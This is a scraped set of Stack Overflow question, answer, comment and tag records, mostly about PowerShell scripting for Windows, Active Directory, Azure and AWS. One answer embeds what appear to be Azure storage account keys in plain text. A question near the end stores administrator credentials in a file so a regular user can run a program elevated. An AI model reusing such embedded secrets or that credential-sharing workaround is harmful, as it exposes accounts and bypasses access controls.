tags question: http://stackoverflow.com/q/79133582
tags question: http://stackoverflow.com/q/79348302
tags question: http://stackoverflow.com/q/79322067

http://stackoverflow.com/comment/139609528
type: Comment
comment on: http://stackoverflow.com/a/79172792
has text: So.. what was that syntax you used for `systemlist` in your original post??
score: 1
type: AnswerComment

http://stackoverflow.com/comment/139661972
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79195703
has text: Hmmm .... there's this hack for creating a `MetadataReference` from an assembly https://github.com/dotnet/runtime/issues/36590#issuecomment-689883856. Written as a workaround for when an application is published as a single executable . Not sure if there's any new support in the runtime. Then I'm sure you can find a `CSharpCompilation.Create(...).Emit(...)`, `new AssemblyLoadContext(...).LoadFromStream(...)` example.

http://stackoverflow.com/comment/139593983
type: QuestionComment
type: Comment
score: 0
has text: Your question is not about delimiting. It's about escaping the backtick. You should edit your question title - the current one is confusing, as it has nothing to do with the question you're asking.
comment on: http://stackoverflow.com/q/79164499

http://stackoverflow.com/comment/139536443
has text: @MathiasR.Jessen : OP needs to pass parameters from menu to a function. I provided a link yesterday to show how to pass parameters.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79126458

http://stackoverflow.com/comment/139473810
comment on: http://stackoverflow.com/a/79098740
type: AnswerComment
has text: "I am not sure that using [...] UTF8 is correct [...]" - That depends entirely on the encoding used to produce the string. From where and how do you obtain the string value in the first place?
score: 2
type: Comment

http://stackoverflow.com/comment/139625768
has text: They are stored as string, like "VARCHAR(15)", but each one need to be unique. I think the best way to do that is to treat them like number and increment them one by one ?
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79162274
type: AnswerComment

http://stackoverflow.com/comment/139624545
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79181031
has text: Figured .net should be faster ( its literally thousands of files to delete weekly, 4 sub-directories) PS v5.1 .net 4.8

headless
tag name: headless
type: Tag
tags question: http://stackoverflow.com/q/79088047

azure-ad-msal
tag name: azure-ad-msal
tags question: http://stackoverflow.com/q/79162045
type: Tag

ipxe
type: Tag
tag name: ipxe
tags question: http://stackoverflow.com/q/79192349

http://stackoverflow.com/comment/139561812
score: 0
comment on: http://stackoverflow.com/a/79145761
type: AnswerComment
has text: Solution A using `foreach { $_ -match $searchStrings -notmatch $excludeStrings }` so leaving out the `-and` was the solution, thanks! For some reason I thought you need to include `-and` but that's where it went wrong.
type: Comment

python-3.x
type: Tag
tag name: python-3.x
tags question: http://stackoverflow.com/q/79234150

http://stackoverflow.com/comment/139453507
type: AnswerComment
comment on: http://stackoverflow.com/a/79086454
type: Comment
has text: Not only is it not PowerShell-idiomatic, like any GUI automation based on emulating user actions (sending keystrokes) it is inherently brittle and platform-specific (Windows), and, with your specific approach, additionally has side effects (clearing the console and its scrollback buffer).
score: 0

http://stackoverflow.com/q/79213205
tagged with: bash
type: Question
has body: I am having an issue with API tokens in Delinea Secret Server. I have a domain user that has access to most secrets. As this user I can get all secrets using credentials. So in powershell I can do this: # Create creds object using username and password $SScreds = New-Object System.Management.Automation.PSCredential($username,$SSsecurePwd) $secretID = 138 $apiURL = “https://ssaddress/ss/winauthwebservices/api/v1/secrets/$SecretId” $secret = Invoke-RestMethod $apiURL -credential $SScreds Now … I want to do it with a token, I want to do it with curl from a linux box. But lets try it first with Powershell. $tokenRoute = https://ssaddress/ss/oauth2/token $creds = @{ username = $username password = $password grant_type = "password" } $TokResponse = Invoke-RestMethod $tokenRoute -Method Post -Body $creds $token = $TokResponse.access_token $headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" $headers.Add("Authorization", "Bearer $token") And this gets a token and creates a header. The header looks like this: Key Value --- ----- Authorization Bearer AgJzT9yIzwYeO6GDUJEOEnQXk0yHb5X3pKIBQFVod1W30JHVCAjllIr0uU_PH6wXHkw… Next, I try to get the secret: $apiURL = “https://ssaddress/ss/winauthwebservices/api/v1/secrets/$SecretId” $secret = Invoke-RestMethod $apiURL -Headers $headers And it fails with: "errorCode": "API_UserDoesNotHaveViewSecretPermission", "message": "The user does not have view secret permission." I tried the same with curl in Linux and using Postman. The token is created using the user's name and password. This account has access to the secrets so why is this token not working? In Secret Server when I look at sharing on a secret, I see the account has View and even Owner persmissions. Am I missing a setting somewhere in Secret Server to allow tokens to be used to read secrets? And this is what I do in bash on the linux box. First get the access_token token=$(curl --request GET --location https://ssaddress/ss/oauth2/token \ --header "Co…
tagged with: curl
answer count: 1
has title: API Token not working in Delinea Secret Server
tagged with: powershell
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/79213413
score: 0

http://stackoverflow.com/comment/139449998
has text: In the simplest case: `databricks jobs submit --json $jsonPayload.Replace('"', '\"')`
score: 1
comment on: http://stackoverflow.com/q/79085917
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139703496
type: Comment
comment on: http://stackoverflow.com/a/79201672
has text: Interesting. Thank you for the repro. I also find that behavior surprising. I expect the second call to `Add-Type` to either fail or load the assembly with `MyNamespace.D`, but instead in that situation it does neither.
score: 1
type: AnswerComment

http://stackoverflow.com/comment/139640439
score: 0
has text: Hi Mathias thanks for the suggestion. The reason I am using net view is I am running the command on remote computers for which I am facing access issue for the WMI commands
comment on: http://stackoverflow.com/a/79188495
type: AnswerComment
type: Comment

locale
tags question: http://stackoverflow.com/q/79227225
tag name: locale
tags question: http://stackoverflow.com/q/79138280
type: Tag
tags question: http://stackoverflow.com/q/79303993

http://stackoverflow.com/comment/139730997
has text: This question is similar to: ['Get-WindowsDriver' is not recognized as the name of a cmdlet](https://stackoverflow.com/questions/73981548/get-windowsdriver-is-not-recognized-as-the-name-of-a-cmdlet). If you believe it’s different, please [edit] the question, make it clear how it’s different and/or how the answers on that question are not helpful for your problem.
type: QuestionComment
type: Comment
score: 3
comment on: http://stackoverflow.com/q/79240454

http://stackoverflow.com/comment/139594161
type: QuestionComment
comment on: http://stackoverflow.com/q/79164455
type: Comment
score: 0
has text: crlf might be removed or replaced with ||. The comment from siggemannen may be right but when I try to import the file with crlf in address field I get errors. It usually states the number of fields in csv does not match what I expect there to be. In researching it's because it sees that the crlf breaks the field into multiple fields.

http://stackoverflow.com/q/79092175
type: Question
downvote count: 0
possible better answer: http://stackoverflow.com/a/79092551
accepted answer: http://stackoverflow.com/a/79092584
tagged with: powershell
has answer: http://stackoverflow.com/a/79092584
has answer: http://stackoverflow.com/a/79092551
type: AnsweredQuestion
has title: LastWriteTime in Powershell only updates when file is READ?
score: 1
has body: TLDR; LastWriteTime only updates when the file is read? I have a log, being written to continuously. Occasionally, it rolls over and creates a new log with a new filename. I wrote a little scriptlet to get me the latest file that matches the mask: gci $mask | Sort-Object LastWriteTime -Descending | Select-Object -First 1 Only it doesn't work, because, when the file rolls over to a new file, it opens the new file, then writes a few lines in the old one to close out, ending it up with a LastWriteTime later than the creation time of the new one. Powershell then continues to see the new file as a 0-byte file, and doesn't update its' LastWriteTime ever. Despite the file being continuously written to. For hours. If I open that new file and read it in a text editor, it updates the timestamp and size immediately every time. If I call Refresh() on that file object, or its containing directory, it does not update the data. PS C:\Users\user\Documents&gt; gci $mask |Sort-Object LastWriteTime -Descending | Select-Object -First 1 Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 16/10/2024 13:58:33 623766 ResponderService_F0711118_7268_20241016.log PS C:\Users\user\Documents&gt; gci $mask |Sort-Object LastWriteTime -Descending | % {$_.Refresh()} PS C:\Users\user\Documents&gt; gci $mask |Sort-Object LastWriteTime -Descending | Select-Object -First 1 Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 16/10/2024 13:58:33 623766 ResponderService_F0711118_7268_20241016.log But if I read the contents of the file and dump them to $null it updates: PS C:\Users\user\Documents&gt; gci $mask |Sort-Object LastWriteTime -Descending | gc &gt; $null PS C:\Users\user\Documents&gt; gci $mask |Sort-Object LastWriteTime -Descending | Select-Object -First 1 Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 16/10/2024 14:02:56 636468 ResponderService_F0711118_7268_20241016.log Despite the fact that it was being written to - I assure you - every …
upvote count: 1
favorite count: 0
tagged with: filesystems
answer count: 2

http://stackoverflow.com/a/79141075
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79140084
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/79140084
has body: Have you tried adding admin credentials to the Invoke-Command where you run a scriptblock on the remote machine to get the Access of the share? Personally, I would run both Get-SmbShare and Get-SmbShareAccess inside the same scriptblock on the remote computer, then select what properties you want returned and collect all that in a variale. $credential = Get-Credential -Message 'Please enter admin credentials' $allComputers = (Get-ADComputer -Filter *).Name # just their names # loop through the list of computers and capture the output from the loop $result = foreach ($computer in $allComputers) { $connected = (Test-Connection -BufferSize 32 -Count 1 -ComputerName $computer -Quiet -ErrorAction SilentlyContinue) if ($connected) { try { Invoke-Command -ComputerName $computer -Credential $credential -ScriptBlock { $shares = Get-SmbShare | Where-Object {$_.ShareType -eq 'FileSystemDirectory'} # if you also want to exclude all sharesnames ending in '$', do # $shares = Get-SmbShare | Where-Object {$_.ShareType -eq 'FileSystemDirectory' -and !($_.Name.Endswith('$'))} foreach($share in $shares) { Get-SmbShareAccess -Name $share.Name | Select-Object @{Name = 'Computer_Name'; Expression = {$using:computer}}, @{Name = 'Share_Name'; Expression = {$_.Name}}, AccountName, AccessControlType, AccessRight } } } catch { Write-Warning $_.Exception.Message } } else { Write-Warning "Computer $computer is unreachable" } } # remove the extra properties Invoke-Command added and write to CSV file $result | Select-Object * -ExcludeProperty PS*, RunSpaceId | Export-Csv -Path 'C:\SomePath\FileShareInformation.csv' -NoTypeInformation -UseCulture
score: 1
upvote count: 1

http://stackoverflow.com/a/79100376
score: 0
has body: We face error while assigning variable to keys so we hardcoded them for the mean while tested on powershell 7 az login az account set --subscription 444444-44445555555555555-55555555555555 #Set Variables to define source and destination values $sourcestorageaccountname = "stsecurestoragetst" $sourceresourcegroupname = "RG_PLANTRANSFORM_ADF_TEST_AUE" $destinationstorageaccountname = "stsecurestorage" $destinationresourcegroupname = "RG_PLANTRANSFORM_ADF_DEV_AUE" $sourcetablename = "DataFactoryPipelineConfig" $desttablename = "TestTable" #Get storage account keys $sourcestorageaccount = Get-AzStorageAccount -ResourceGroupName $sourceresourcegroupname -Name $sourcestorageaccountname $destinationstorageaccount = Get-AzStorageAccount -ResourceGroupName $destinationresourcegroupname -Name $destinationstorageaccountname $sourcekey = "xxxxx" $destinationkey = "zxxx" ####### function Copy-AzureTable ($sourceresourcegroupname, $sourcestorageaccountname, $sourcetablename, $destinationresourcegroupname, $destinationstorageaccountname, $desttablename, $sourcekey, $destinationkey) { #$SourceCtx = New-AzStorageContext -StorageAccountName $sourcestorageaccountname -StorageAccountKey $sourcekey $SourceCtx = New-AzStorageContext -StorageAccountName "ssecurestoragetst" -StorageAccountKey "KJ7f94f44lF4FZUi7TT7sH2nhuJ/Tfcwr7rPSyjUJKDg==" #Write-Host $SourceCtx $SourceCloudTable = (Get-AzStorageTable -Name "DataFactoryPipelineConfig" -Context $SourceCtx).CloudTable write-Host $SourceCloudTable $DestinationCtx = New-AzStorageContext -StorageAccountName "stsecurestorage" -StorageAccountKey "OOo5P3Kez9jlEPA/1DC3EYD3yECsnuROW9w==" # Check if the destination table exists try { $DestinationCloudTable = (Get-AzStorageTable -Name "TestTable" -Context $DestinationCtx).CloudTable Write-Host $DestinationCloudTable } catch { Write-Error "Destination table '$desttablename' does not exist in the destination storage account." return } $SourceCloudTableContent = Get-AzTableRow -Table $SourceCloudTable W…
answers question: http://stackoverflow.com/q/79096641
type: Answer

http://stackoverflow.com/comment/139443045
type: QuestionComment
type: Comment
score: 0
has text: [^](https://stackoverflow.com/q/79077628/438273#comment139442873_79077628) @The-Stanislav Deno consists of source code in multiple languages: Rust and JavaScript — if you want to debug the Rust source, then you'd recompile it (targeting a debug build) just like any other Rust program, and if you want to debug the JS, then you can use the built-in VS Code JS debugger. Is there something that differentiates this question from others asking about how to debug Rust or JS code?
comment on: http://stackoverflow.com/q/79077628

restart
type: Tag
tag name: restart
tags question: http://stackoverflow.com/q/79095222
tags question: http://stackoverflow.com/q/79413988
tags question: http://stackoverflow.com/q/79534301

http://stackoverflow.com/comment/139467419
has text: In that case yes you could do this through a scheduled task using the /sc onlogon flag or via the windows startup folder or registry Run folder, depending if there's a user logon in the process or not.
score: 0
comment on: http://stackoverflow.com/q/79095222
type: QuestionComment
type: Comment

ansible
tags question: http://stackoverflow.com/q/79096499
tag name: ansible
type: Tag
tags question: http://stackoverflow.com/q/79248415
tags question: http://stackoverflow.com/q/79404173

http://stackoverflow.com/comment/139551722
comment on: http://stackoverflow.com/a/79138694
has text: Finally the problem was that it necessary to use uk-UA. Doubleswich on rehibernate working well now and I solved the problem with autoswitch to ru inpun language. I made the cmd file and start it on out from hibernate. Tested well in different cases (cmd and hibernate). Schedule event to start: trigger: System - Power-Trobleshooter - 1
type: AnswerComment
type: Comment
score: 0

authorization
tags question: http://stackoverflow.com/q/79110614
tag name: authorization
type: Tag

http://stackoverflow.com/a/79168320
type: AcceptedAnswer
downvote count: 0
score: 6
answers question: http://stackoverflow.com/q/79168302
type: Answer
upvote count: 6
has body: You can use Get-ChildItem to list directories then you can pipe that output directly to Set-Content. -Recurse is used for a recursive search. -Directory is used to list only directories. -Filter is used to list only folders with name FileContentIndex. Use -Force if you also need to include Hidden folders. $startingPath = 'path\to\theParentDir' Get-ChildItem $startingPath -Recurse -Directory -Filter FileContentIndex | Set-Content -Stream com.dropbox.ignored -Value 1
accepted answer of: http://stackoverflow.com/q/79168302

http://stackoverflow.com/comment/139574169
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79132466
has text: I add more `Write-Host` command in my scripts above to help your check which step doesn't return the expected values.
type: Comment

http://stackoverflow.com/comment/139662635
score: 0
has text: While this is correct, Windows is able to read this type of information with its explorer (see screenshot). So there must be some standards. Do you have an idea without diving too deep into Windows API?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79200338

http://stackoverflow.com/q/79209007
tagged with: powershell
answer count: 1
has body: I have this script (my_script.sql): SET NOCOUNT ON; DECLARE @SchemaName NVARCHAR(128); DECLARE @TableName NVARCHAR(128); SET @SchemaName = '$(SchemaName)'; SET @TableName = '$(TableName)'; IF @SchemaName IS NULL or @SchemaName = '' BEGIN SET @SchemaName = 'dbo'; END PRINT 'The full table name is: ' + QUOTENAME(@SchemaName) + '.' + QUOTENAME(@TableName); When I call this from the command line using: sqlcmd -S my_db_ip -U username -P myPassword -d my_db_name -i my_script.sql -v SchemaName dbo TableName Users I get this output in my terminal: The full table name is: [dbo].[Users] I want, however if the script is deployed and the user does not know what the SchemaName is, they can let it use the default 'dbo'. However, when it is called using sqlcmd -S my_db_ip -U username -P myPassword -d my_db_name -i my_script.sql -v TableName Users (Note there was no SchemaName provided) I get the following output to the terminal: 'SchemaName' scripting variable not defined. The full table name is: [@SchemaName)].[Users] How do I fix this so that, if the variable is not included in the sqlcmd parameters, I do not get the not defined message and the full table name is [dbo].[Users]? I have tried changing where I default the value but that still gives the variable not defined message and it still gives the same output: If I change the variable check: IF @SchemaName IS NULL OR @SchemaName = '' OR @SchemaName = '$(SchemaName)' BEGIN SET @SchemaName = 'dbo'; -- Default to 'dbo' if not provided END ... I get: 'SchemaName' scripting variable not defined. The full table name is: [dbo)].[Users] This being that the error message still is included. I have no clue how to solve this.
tagged with: error-handling
has comment: http://stackoverflow.com/comment/139678854
tagged with: variable-assignment
score: 0
has title: I am writing a script to run in a terminal using sqlcmd. There are variables my script expects but what if one or more of them is not in -v
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139678965
has comment: http://stackoverflow.com/comment/139678861
has answer: http://stackoverflow.com/a/79211435
tagged with: sqlcmd
type: Question

http://stackoverflow.com/q/79167734
has body: I have a remote machine with a conda environment. I'd like to always have conda when starting up powershell. I know it's done by conda init powershell. But that only works when I directly open powershell after remoting to the machine. It does not work when using Enter-PSSession on my local to connect to the remote machine. How can I do it? Thank you
tagged with: anaconda
type: Question
answer count: 1
has comment: http://stackoverflow.com/comment/139605638
has comment: http://stackoverflow.com/comment/139603360
has answer: http://stackoverflow.com/a/79176772
tagged with: powershell
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/79176772
score: 0
has title: using conda after remoting to remote machine by Enter-PSSession

http://stackoverflow.com/comment/139613290
score: 0
comment on: http://stackoverflow.com/q/79174610
has text: You have $EndRow set to 2 only reading in the for loop rows 1 and 2 (less than or equal to 2).
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79296296
type: Answer
answers question: http://stackoverflow.com/q/79165242
score: 0
type: AcceptedAnswer
has body: put the script into a process can correctly timeout the running script, like this: $OutputEncoding = [Console]::OutputEncoding = [System.Text.Encoding]::UTF8; $currentPath = $PSScriptRoot $scriptBlock = { param($scriptPath) $shell = New-Object -ComObject Shell.Application $shell.Namespace($scriptPath).Self.InvokeVerb("'pintohome'") }.ToString() $arguments = "-Command & {$scriptBlock} -scriptPath '$currentPath'" $process = Start-Process powershell -ArgumentList $arguments -NoNewWindow -PassThru $timeout = 5 if (-not $process.WaitForExit($timeout * 1000)) { try { $process.Kill() Write-Error "Process execution timed out (${timeout}s), forcefully terminated" exit 1 } catch { Write-Error "Error occurred while terminating process: $_" exit 1 } }
accepted answer of: http://stackoverflow.com/q/79165242

http://stackoverflow.com/comment/139616530
type: AnswerComment
type: Comment
has text: Thank you for your help. I did not know that sorting is not executed by Write-Host.
comment on: http://stackoverflow.com/a/79172252
score: 0

database-connection
type: Tag
tags question: http://stackoverflow.com/q/79090045
tag name: database-connection

transformation
type: Tag
tags question: http://stackoverflow.com/q/79227970
tag name: transformation

http://stackoverflow.com/comment/139670408
comment on: http://stackoverflow.com/q/79200338
type: Comment
has text: Thank you so much for your help. I appreciate. Actually, you both are right, it is only possible with C/C# and this question https://stackoverflow.com/questions/34910936/how-to-reference-and-register-dsofile-dll-in-c-sharp-project-for-different-platf gave me the hint to work with DSOFile.DLL. Will have a deeper look.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/139697337
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79219476
has text: @Theo Returns ```.assembly.assembler``` Answering your other question, yes it can be used, but the exact same thing happens
score: 0

http://stackoverflow.com/comment/139480449
score: 0
comment on: http://stackoverflow.com/q/79102031
has text: @MathiasR.Jessen, Thanks for your help! Unfortunately, i still get the same erro trying this solution.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139603360
has text: Does adding `Enter-PSSession -Command "& 'C:\ProgramData\anaconda3\shell\condabin\conda-hook.ps1' ; conda activate 'C:\ProgramData\anaconda3' "` work as expected (replace path to anaconda with the correct one for you)?
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79167734

http://stackoverflow.com/comment/139722982
comment on: http://stackoverflow.com/a/79232052
type: AnswerComment
has text: Understood re domain, @Dan. I don't see `Not Configured` in `gpedit.msc` with respect to `Scripts (Startup/Shutdown)`, but, to be clear: Placing scripts in `C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown` by itself is NOT enough. You must additionally explicitly designate such scripts - whether located in this special location or elsewhere - as to be run on startup / shutdown via the `gpedit.msc` GUI, as described in the question.
type: Comment
score: 0

http://stackoverflow.com/comment/139522927
type: QuestionComment
has text: No. I will place screenshot of the error in the posting. Thank you @jdweng please take another look.
type: Comment
comment on: http://stackoverflow.com/q/79100351
score: 0

azure-pipelines-release-pipeline
tag name: azure-pipelines-release-pipeline
tags question: http://stackoverflow.com/q/79111831
tags question: http://stackoverflow.com/q/79213119
type: Tag

http://stackoverflow.com/comment/139585961
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79160366
has text: what if you try with ``$folder | Copy-Item -Force -Recurse -Destination Z:\``
type: QuestionComment

azure-app-registration
tags question: http://stackoverflow.com/q/79162045
type: Tag
tag name: azure-app-registration
tags question: http://stackoverflow.com/q/79520675
tags question: http://stackoverflow.com/q/79514239

http://stackoverflow.com/comment/139609831
has text: The mistake you make here is assuming that the files are in some kind of order in the first place; they aren't. You aren't ordering the files before you loop through them, so the order in which they are numbered is very likely arbitrary. If they are in a order then it just *not* filmed name order; files can be ordered *many* ways, such as in size and created or modified date.
type: QuestionComment
comment on: http://stackoverflow.com/q/79173045
type: Comment
score: 0

http://stackoverflow.com/comment/139589167
has text: Could you confirm whether your requirement is to add Mail.Send delegated permission and generate token using username password flow in PowerShell?
comment on: http://stackoverflow.com/q/79162045
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/79127640
has body: To offer a conceptually simpler alternative to The fourth bird's helpful answer, based on the -split operator: $workItemNumbers = git log Version_10.1.18.1...Version_10.1.18 --format=%s | ForEach-Object { ($_ -split ':')[1].Trim(' #') } Note: This assumes that all log entries have commit messages formatted like the ones shown in your question. If this assumption doesn't hold, consider Theo's helpful answer.
upvote count: 2
downvote count: 0
type: Answer
score: 2
answers question: http://stackoverflow.com/q/79127406

http://stackoverflow.com/q/79102031
tagged with: active-directory
has body: Import-Module ActiveDirectory $groups = Get-ADGroup -Filter {(Name -like "F_*" -or Name -like "G_*" -or Name -like "CAX_*")} -Properties Name, GroupCategory | Sort-Object -Property Name $emptyGroups = @() foreach ($group in $groups) { # Verifica se o grupo é do tipo "Segurança" if ($group.GroupCategory -eq 'Security') { try { $user = Get-ADGroupMember -Identity $group.Name -ErrorAction Stop if ($user.Count -eq 0) { $emptyGroups += $group.Name } } catch { Write-Host "Warning: Group '$($group.Name)' could not be found or accessed." } } else { Write-Host "Info: Group '$($group.Name)' is not a security group and will be skipped." } } Write-Host "Empty Groups:" $emptyGroups | ForEach-Object { Write-Host $_ } I have this code that searches for groups in my AD. It seems to work well, but some groups are not found, and I don’t know the reason because they clearly exist in my AD. Can you please give me a help? I'm getting these erros: Warning: Group 'CAX_BOCAL_265_ORVR_G_L' could not be found or accessed. Warning: Group 'CAX_GM_GEM_JCCC1_G_E' could not be found or accessed. Warning: Group 'CAX_GM_GEM_JCCC1_G_L' could not be found or accessed. Error thrown: Não é possível localizar um objeto com identidade: 'CAX_BOCAL_265_ORVR_G_L' em: 'DC=myLDAP,DC=com'.
type: Question
downvote count: 0
has answer: http://stackoverflow.com/a/79102125
answer count: 1
has comment: http://stackoverflow.com/comment/139479942
has title: A few groups in my ad are not found by the following script
tagged with: powershell
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/79102125
has comment: http://stackoverflow.com/comment/139480449
score: 1
favorite count: 0
upvote count: 1

winscp
tag name: winscp
tags question: http://stackoverflow.com/q/79095089
type: Tag

http://stackoverflow.com/q/79168232
answer count: 1
downvote count: 0
tagged with: powershell
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/24745868
has answer: http://stackoverflow.com/a/79170074
accepted answer: http://stackoverflow.com/a/79170074
tagged with: aws-cli
score: 1
upvote count: 1
favorite count: 0
has title: How to escape backslash and quotes in powershell for aws-cli
has comment: http://stackoverflow.com/comment/139601087
has body: Hi I'm working in a windows powershell script: $startDate = "2024-11-07T11:00:00Z" $endDate = "2024-11-07T11:40:00Z" $startTimestamp = [int]([DateTimeOffset]::Parse($startDate).ToUnixTimeSeconds()) $endTimestamp = [int]([DateTimeOffset]::Parse($endDate).ToUnixTimeSeconds()) $logGroup = "logGroup" $queryString = "fields @log, @timestamp, @message | limit 10" $queryResult = aws logs start-query --log-group-name "$logGroup" --start-time $startTimestamp --end-time $endTimestamp --query-string "$queryString" --region us-east-1 | ConvertFrom-Json $queryId = $queryResult.queryId Write-Output "Query ID: $queryId" $queryResults = aws logs get-query-results --query-id $queryId --region us-east-1 Write-Output "Resultados de la consulta:" Write-Output $queryResults if I execute the script it works, but what I want is to use this query in order to get a count of httpCodes: fields @log, @timestamp, @message | filter @message like "\"httpCode\":4" | parse @message '"message":"*' as Message | parse Message '\"httpCode\":*,' as httpCode | stats count() as CodeCount by httpCode | sort CodeCount desc | display CodeCount, httpCode | limit 10 but I'm not sure how to escape the especial character so it can be used by aws-cli, I've tried the backtick (`) but it is not working I'm getting an error like An error occurred (MalformedQueryException) when calling the StartQuery operation: unexpected symbol found : at line 1 and position 172 Regards!
type: Question

task
type: Tag
tags question: http://stackoverflow.com/q/79200936
tag name: task

http://stackoverflow.com/q/79121130
type: UnansweredQuestion
has body: I create a service application that is running on my server, that app is (called) running a PowerShell script if some conditions are selected by the user. Im able to debug the script from the Visual Studio Code app using the plugin and Debug command(F5), also Im able to go step by step (F10-F11) and see and watch variables. My script creates a log file. My issue is when I run from the service app, my script is not saving the log file. THen probably some variable is not correct, but I dont know which one. Is there any way to attach the service app and when the service app executes the script be able to debug using Visual Studio Code or similar? I try to use launch.json but look that do not work "configurations": [ { "name": "PowerShell Attach to Service", "type": "PowerShell", "request": "attach", "processId": "MyService.exe", "runspaceId": 1 } ]
type: Question
answer count: 0
tagged with: debugging
has title: How to debug a powerShell script using Visual Studio Code that is called from a external process (app)
score: 0
tagged with: powershell

http://stackoverflow.com/comment/139674644
type: QuestionComment
type: Comment
has text: npm is changing the title. You need to look into preventing that. You could also try calling npm in a separate process.
score: 1
comment on: http://stackoverflow.com/q/79208164

templates
tag name: templates
type: Tag
tags question: http://stackoverflow.com/q/79116129

http://stackoverflow.com/comment/139687574
type: Comment
has text: @mklement0 not that I'm familiar enough with PowerShell to argue the point, but since the *Hyperlinks collection* does not have either a GetEnumertor or ForEach member, I wonder whether PowerShell could *reliably* " do the right thing" with the syntax in approaches 4 and 5 in the submission on GitHub. Even given the hidden _NewEnum member.
score: 0
comment on: http://stackoverflow.com/a/79212071
type: AnswerComment

http://stackoverflow.com/a/79141485
answers question: http://stackoverflow.com/q/79138278
has comment: http://stackoverflow.com/comment/139551630
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/139553288
has body: As a general solution, you might consider this (custom) ConvertFrom-SourceTable cmdlet: The latest version (0.5.1, just uploaded) supports suppressing certain columns by supplying an empty column name: Install-Script -Name ConvertFrom-SourceTable Get-Content $Files | Select-String -Pattern '^\w\w:\w\w:\w\w:\w\w:\w\w:\w\w' | ConvertFrom-SourceTable -Header 'bss', 'ess', '', '', '', '', '', '', 'ap name' Explanation: The Select-String -Pattern '^\w\w:\w\w:\w\w:\w\w:\w\w:\w\w' command, selects all the lines (data rows) that start with a mac address Each data row is passed to the ConvertFrom-SourceTable cmdlet which determines the columns based on their fixed size (and spaces in between). The header names (-Header 'bss', 'ess', '', '', '', '', '', '', 'ap name') are applied to each of the corresponding column with the same index Note that the above command will not work if the concerned tables have different column widths. In that case you might convert each table separately: $Files | ForEach-Object { Get-Content $_ | Select-String -Pattern '^\w\w:\w\w:\w\w:\w\w:\w\w:\w\w' | ConvertFrom-SourceTable -Header 'bss', 'ess', '', '', '', '', '', '', 'ap name' } For either command the order of the (captured) columns needs to same (e.g. the 'ap name' column is presumed to be the 9th column).
has comment: http://stackoverflow.com/comment/139552459
has comment: http://stackoverflow.com/comment/139552565
has comment: http://stackoverflow.com/comment/139552664
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139552655
has comment: http://stackoverflow.com/comment/139552567

http://stackoverflow.com/comment/139567700
type: Comment
comment on: http://stackoverflow.com/a/79150671
has text: I can't execute that after the .Save() because I've taken advantage of the lengthed time it takes to create a shortcut for an unavailable directory and I kill the process before it creates a shortcut to an unavailable directory. I know it's probably not a good way to test the paths but powershell, cmd, and python wouldn't detect the network paths. Is there a way to release it after I killed the process. Or is there a better way to do this in general
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139534687
score: 0
comment on: http://stackoverflow.com/a/79107020
type: AnswerComment
has text: Yeah there is no official MsDoc for it but it is not possible via MsGraph
type: Comment

http://stackoverflow.com/comment/139515142
has text: Are you sure the base url is correct? It isn't `"http://xxxxxxx/rest/api/2"` as opposed to `"http://xxxxxxx/jira/rest/api/2"`? Additionally, try passing `-Headers @{Authorization=("Basic {0}" -f $base64AuthInfo); 'X-Atlassian-Token'= 'no-check'}`
type: QuestionComment
comment on: http://stackoverflow.com/q/79121690
type: Comment
score: 0

http://stackoverflow.com/comment/139503757
type: Comment
comment on: http://stackoverflow.com/a/79115035
score: 1
has text: when using `-Name ClassName` the using statements aren't needed unless it doesn't compile at which point those statements are passed thru via `-UsingNamespace` @not2qubit
type: AnswerComment

http://stackoverflow.com/comment/139701089
type: Comment
has text: _"...it is inexplicably also needed to ensure that a later Add-Type call that uses an in-memory assembly that builds on the on-disk assembly via -ReferencedAssemblies actually surfaces the generated in-memory-assembly types in the current session."_ I have not been able to reproduce this behavior. Do you have a repro?
comment on: http://stackoverflow.com/a/79201672
score: 0
type: AnswerComment

http://stackoverflow.com/q/79151185
tagged with: admin
has comment: http://stackoverflow.com/comment/139568700
tagged with: invalid-argument
type: Question
has body: For some reason when we updated a user from On Prem AD to Intune AD, a program called Brokers Ally stopped being able to open a local database. The only way it would open the database is if I use my ADM creds to run Brokers Ally. My client has used this program since 1998 and really wants to continue using this program. I have tried for hours on the phone with Brokers Ally support to recall the old database to work with his current Intune based account, with no avail. The quickest way to make a work around I could think of is letting the user run a PowerShell script that will load my stored admin creds to launch the BrokersAlly.exe to access his years worth of data. Any help would be much appreciated. Thank you - Zelman This is the code I have so far: # Define the path for the encrypted credentials file $credFilePath = "C:\BA9\encryptedCreds.xml" # Function to securely store credentials function Store-Credentials { # Prompt for user credentials $credential = Get-Credential -Message "Enter your credentials for Brokers Ally" # Convert credentials to XML and encrypt $credential | Export-Clixml -Path $credFilePath Write-Host "Credentials have been stored securely." } # Function to retrieve and use the stored credentials function Launch-Program { if (Test-Path $credFilePath) { # Import the encrypted credentials $credential = Import-Clixml -Path $credFilePath # Start the program with the stored credentials $process = Start-Process "c:\BA9\allywin.exe" -Verb RunAs -Credential $credential Write-Host "Program launched 